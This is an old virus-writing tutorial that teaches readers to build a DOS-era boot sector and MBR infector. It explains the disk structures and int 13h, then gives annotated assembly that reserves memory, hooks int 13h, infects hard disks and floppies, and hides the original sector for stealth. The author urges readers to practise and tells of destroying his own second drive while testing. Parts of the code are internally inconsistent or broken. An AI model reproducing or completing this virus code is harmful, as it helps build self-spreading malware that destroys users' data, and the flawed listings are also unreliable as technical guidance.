                     Intro to Boot Infection (Virus)
                               by Asmhead

        Boot virus is the easiest of all virus type. In  file infection  you 
must modified file size, time, date those can make user suspicious. In  boot 
virus you don't necessery do all those things. Ones it stay in memory , they 
can infect  Hard Disk  Drive, floppy  (with unprotected).
  In fact, HDD can infected with boot virus if you boot from infected floppy 
disk. And also if you have more than  one HDD  it can  infect MBR/BS  in 2nd 
HDD. Cuz couple weeks ago, when i playing with MBR infector i forget to save 
my 2nd HDD's MBR, i just save the 1st HD MBR then after I  install boot  vir 
in offset 1BEh in the Master Boot Record (on track 0, head  0, sector  1). I 
think it okey because the virus run well. Then i restore again  my 1st  MBR, 
after that i realized that i forgot to save 2nd HD's MBR. I had bad feeling, 
and that was true.  I press reset button after windows  loaded again  my 2nd 
HDD gone forever with  all the  contain. It's  kewl enough,  I hope  it only 
happen to  me.  That  non technical  factor. Everybody  must be  carefull in 
testing virus, especially boot virus. EOS

 Now begin with lesson.

For now i only know three ways to install boot virus:
 - you can using dropper in separate from virus.
 - using dropper include in virus body by modify header.
 - and the 3rd is using popular program called rawrite ( I found it in 
    linux CD) the function is same with both above. But the dropper only
    install from floppy, it cannot drop to harddisk.

   So, here's the structure of the boot sector:
;------------------------------------------------------------
; Offset | Size  Description          
;------------------------------------------------------------
;   0h   |  3   | Jump to executable code
;------------------------------------------------------------
;   3h   |  8   | name and version of the OS
;-----------------------------------------------------------
;   0Bh  |  2   | Sector Size
;-----------------------------------------------------------
;   0Dh  |  1   | Sectors cluster size 
;-----------------------------------------------------------
;   0Eh  |  2   | Reserved sectors before 1st FAT
;-----------------------------------------------------------
;   10h  |  1   | Number of File Allocation Tables (FATs) copies
;---------------------------------------------------------------
;   11h  |  2   | Maximum number directory entries (32 bytes each) in root
;-------------------------------------------------------------------------
;   13h  |  2   | Total number of sectors in disk.
;--------------------------------------------------------------------
;   15h  |  1   | Disk type (same as 1st byte in FAT)
;--------------------------------------------------------------------
;   16h  |  2   | FAT size (in sectors)
;--------------------------------------------------------------------
;   18h  |  2   | Sectors per track (cylinder)
;--------------------------------------------------------------------
;   1Ah  |  2   | Number of read/write heads
;---------------------------------------------------------------------
;   1Ch  |  2   | Hidden sectors LOword (partitions < 32MB)
;
;   etc, until 
;------------------------------------------------------------------
;   3eh    450  Boot code & data 
;------------------------------------------------------------------

Then DOS continue to read the disk.

Let's see now the master boot record's or MBR structure:

          ;-----------------------------------------------
          | Offset | Size |         Description          |
          ;-----------------------------------------------
          ;   0h   | 446  | Master bootstrap loader code |
          ;-----------------------------------------------
          ;  1BEh  |  16  | Partition 1 entry            |                            

   The partition record is an 16-byte array. The place are inside partition
   Here is its structure:

                   | Offset | Size |   Description       |
                   |-------------------------------------|
                   |   0h   |   1  | Boot indicator      
                   |-------------------------------------|
                   |   1h   |   1  | Beginning head      
                   |-------------------------------------|
                   |   2h   |   1  | Beginning sector    
                   |-------------------------------------|
                   |   3h   |   1  | Beginning cylinder  
                   |-------------------------------------|
                   |   4h   |   1  | OS indicator        
                   |-------------------------------------|
                   |   5h   |   1  | Ending head         
                   |-------------------------------------|
                   |   6h   |   1  | Ending sector       
                   |-------------------------------------|
                   |   7h   |   1  | Ending cylinder     
                   |-------------------------------------|
                   |   8h   |   4  | Relative starting sector
                   |-------------------------------------|
                   |  0Ch   |   4  | Number of sectors   
                   |-------------------------------------|

                            and so on ....
          ;-----------------------------------------------
          ;  1CEh  |  16  | Partition 2 entry            |
          ;-----------------------------------------------
          ;  1DEh  |  16  | Partition 3 entry            |
          ;-----------------------------------------------
          ;  1EEh  |  16  | Partition 4 entry            |
          ;-----------------------------------------------
          ;  1FEh  |   2  | 55AAh signature              |
          ;-----------------------------------------------

After computer's harddisk infected with that virus, every floppy disk access 
must infected too. One thing must remember that MBR only found in  harddisk, 
it cannot find in floppy. Floppy only have boot sector(BS) Harddisk has  MBR 
because it can partition  more than  one (max  4 partition  in one  physical 
harddisk).

Interrupt:

    In make boot virus you only can use all int before 20h (DOS). Because at 
that time DOS hasn't load yet. The popular int write to disk is int13h ah,02 
= read; ah,03h = write.

    Int 13h/Func 2 is used to read one or more sectors from a disk into
    memory.

      AH = 02h
      AL = number of sectors to read (must be nonzero)
      CH = low eight bits of cylinder number
      CL = sector number 1-63 (bits 0-5)
           high two bits of cylinder (bits 6-7, hard disk only)
      DH = head number
      DL = drive number (bit 7 set for hard disk)
      ES:BX -> data buffer

  * Interrupt 13h / AH = 3

    Same as function 2, but instead of reading it writes data to sectors on
    a disk.

      AH = 03h
      AL = number of sectors to write (must be nonzero)
      CH = low eight bits of cylinder number
      CL = sector number 1-63 (bits 0-5)
           high two bits of cylinder (bits 6-7, hard disk only)
      DH = head number
      DL = drive number (bit 7 set for hard disk)
      ES:BX -> data buffer

The Infection Theory:

    1. Allocated top of memory for virus.
    2. Copy the virus in memory request
    3. Hook interrupt 13h
    4. Virus looking for active partition or boot sector then 
       continue reboot with int 19h.
    5. Read and check infection mark. If infected virus continue stealth
    6. Not continue infection by read one sector and copy floppy stuff
       in there place ( in 3ch (dup(?)).
    7. Choose sector virus now, in dl,80h (harddisk) or in dl,0 (floppy)
       then write it with virus body. After finish exit.

    Before allocated virus we must set stack (SS:SP) 0:07c00h it must set
on entry. Because boot sector always equal in that value.

   xor  di,di
   cli                 ; disable interrupt
   mov  ss,di
   mov  sp,07c00h
   sti                 ; enable it again   
   

Then steal 1Kb of memory. Before it DS must set to zero. In that time AX 
register is still zero, we can fill it to DS. And get new value with 
int 12h. After that convert to paragraphs. 
    
    mov  ds,ax
    dec  word ptr ds:[413h]
    mov  ax,word ptr ds:[413h] ;    int 12h
 
    mov cl,6
    shl ax,cl

After shl ax then put the result in es. We can't just 'shl' es register,
tasm with warning "Illegal use of segment register". Thats way we need 
ax register to fill es.

    mov es,ax
   
Now es fill with the result ax. All we need now to copy our virus to
top of memory from 07c00h 

    sub di,di
    mov si,07c00h
    mov cx,EndBootVirus-Start
    cld
    rep movsw

Now, virus already in memory. ;-)
    push es
    mov ax,offset inmemory
    push ax
    retf

Other part of boot virus is modify interrupt 13h.

   lds ax,ds:[13h*4]                    ; get int13h
   mov word ptr cs:[old_int13h], ax        ; save it in old_13h
   mov ax, word ptr ds:[13h*4+2]
   mov word ptr cs:[old_int13h+2], ax

   mov word ptr ds:[13h*4],offset int13h_handler  ; replace with my own handler
   mov word ptr ds:[13h*4+2],es    

   int 19h                             ;reboot with the virus in memory

Now part of int13h_handler, next time you can't using other subfunction
such as: checking drive, write, reset, etc. For now here is the code:

int13h_handler:
   cmp cx,1                  ;check if sector 1 and track 0
   jne out_hoeq
   cmp dh,0                  ;check if head 0
   jne out_hoeq
   cmp ah,2                  ;read from sector 1 ?
   jne out_hoeq
   call bios_int13h          ;fake int13h call
   jnc infect_call           ;if no error, jump to our code
out_hoeq:
   db 0eah                   ;else jump to the original Int 13h
old_int13h dd ?              ;original int13h save in here

       
For fake call here is the code:
This is also can run in bios(DOS) and Win9x compatible.

bios_int13h:
      pushf
      call  dword ptr cs:[old_int13h]
      ret

Next intruction is check infection mark.

      pushf    ; save all flags first
      pusha    ; only 286+ instruction

      cmp  word ptr es:[bx+offset mark],'MN' 

For mark, the original mark is 'NM'
      jne  continue_infection

We must make cs=ds=es as same value. Read boot info at 03h from start.

      push cs cs
      pop es ds      

      mov bx,200h                          
      mov ax,201h                         ;read one sector
      call bios_int13h

      mov cx,3ch                          ;copy 3ch bytes
      mov si,202h                         ;from CS:514 = 202h
      mov di,2                            ;to CS:2
      cld                                 ;clear direction flag
      rep movsb                           ;copy

Then virus choose to write original MBR/BS on harddisk or floppy disk.
  
      mov  ax,301h
      call GetRandomSector
      call bios_int13h

GetRandomSector:
      xor dl,dl
      sub dh,dh
      mov cx,2
      ja  harddisk
      mov cx,13h
      mov dh,1
harddisk:
      ret

After all done jump to next part of virus. Write virus on disk that we 
choose in previos section. And it is the ultimate code.

   xor bx,bx                           ;from CS:0
   xor dh,dh                           ;to head 0
   mov cx,1                            ;track 0, sector 1
   mov ax,301h                         ;write boot virus
   call bios_int13
   jnc short exit

If any mark has already there, it will jump to this section. Stealth part.
stealth:
   mov ax,201h                         ;read the original MBR/BS in memory
   call GetRandomSector
   call bios_int13h

Phew..... we are now in final section of code, exit from these section.
And laugh load in every infection people make.

exit:
   pop es ds                           ;pop everything from the stack
   popa
   popf
   retf 2

   mark  db 'NM'

   Org  1beh
                    ; Two last bytes .....
   db  55h,aah      ; boot signature /(bios signature)

end:

That it is, all you can do now is understand it and by practice of course. I 
hope everyone can understand it more clearly. Sorry for my poor English  cuz 
it is not my native language. Especially for people in  Indonesia can  learn 
much more about boot virus. In other words read as much as you can  everyday 
about  everythings  you like.  I write  this by  understanding it  from many 
article. 

